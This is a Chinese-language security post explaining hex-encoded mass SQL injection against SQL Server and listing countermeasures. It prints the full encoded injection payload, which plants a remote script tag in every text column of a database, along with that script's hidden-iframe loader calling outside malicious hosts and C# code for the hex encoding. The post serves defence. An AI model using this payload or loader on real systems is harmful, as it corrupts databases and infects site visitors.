警惕采用编码过的SQL恶意注入
现在很多网站发现SQL注入攻击,
黑客把SQL语句转换成了16进制后就可以逃避我们平时很多的防注入检测了
声明了个 @s，使用了编码的方式把sql语句变成一大串“乱七八糟”(16进制)的东西，然后通过exec可以执行“动态”SQL的特性运行脚本。
还逃避了对关键字字符串的检查。
一般来说最终注入代码都类似于如下片段（SQL Server 2000/2005）：
dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72 eXeC(@s);--
到SQL后台执行时就是下面语句(可以在SQL查询窗口把上面语句最后的 exec(@s);改成 select @s试试看,结果就是下面语句)：
可以看出这种SQL注入就是利用表名sysobjects，syscolumns这两个系统表来进行遍历的。
运行后库中的每个表的每条记录都会加上<script src=http://8f8el3l.cn/0.js></script>这段脚本，
脚本内容是这样的
document.writeln(" <base onmouseover=\"window.status=\'完毕 \';return true\">");
document.writeln(" <SCRIPT LANGUAGE=\"JavaScript\"> ");
document.writeln(" <!-- Hide ");
document.writeln("function killErrors() { ");
document.writeln("return true; ");
document.writeln("} ");
document.writeln("window.onerror = killErrors; ");
document.writeln("\/\/ --> ");
document.writeln(" <\/SCRIPT>");
function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 800)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1a01ab2="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1a01ab2=hhhh;expires="+ Then.toGMTString()
document.writeln("<iframe src=http://5u66j.cn/aa/a3a.htm width=0 height=0></iframe>");
document.writeln("<iframe src=http://5u66j.cn/aa/a3a.htm width=0 height=0></iframe>");
}
}Get();
黑客代码SQL注入部分转换生成方法：
///字符串转换为16进制
///using System.Text;
///using Microsoft.VisualBasic;
/// </summary>
/// <param name="Data"></param>
/// <returns></returns>
static string ToHexString(string Data)
{
StringBuilder sb = new StringBuilder("0x");
foreach (char c in Data)
{
sb.Append(Conversion.Hex((int)c)).Append("00");
}
return sb.ToString();
}
查了下别人说的防范措施:
2、新建一个public权限数据库用户，并用这个用户访问数据库
3、去掉角色public对sysobjects与syscolumns对象的select访问权限
[用户]用户名称-> 右键－属性－权限－在sysobjects与syscolumns上面打“×”
4、通过以下代码检测（失败表示权限正确）：
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
面的方式只是延缓了SQL盲注，因为大规模批量注入都是程序自动进行的，这种方法也就是屏蔽掉了程序对于此类SQL Server数据库的盲注攻击，但是SQL注入点还是依然存在的，如果是人工在得到相关信息的情况下进行注入，还是无法避免的，治本还是需要从源程序入手彻底修改掉,使用参数化SQL。
在服务器的IIS中,找到这个被挂马的网站属性,主目录中―配置中---找到.asp及.aspx的影射,将里面的中的HEAD操作与TRACE操作删除,只保留GET与POST就可以解决,
注意删除HEAD操作与TRACE操作完全不会影响正常的网站访问.正常的网站并不需要这两个操作
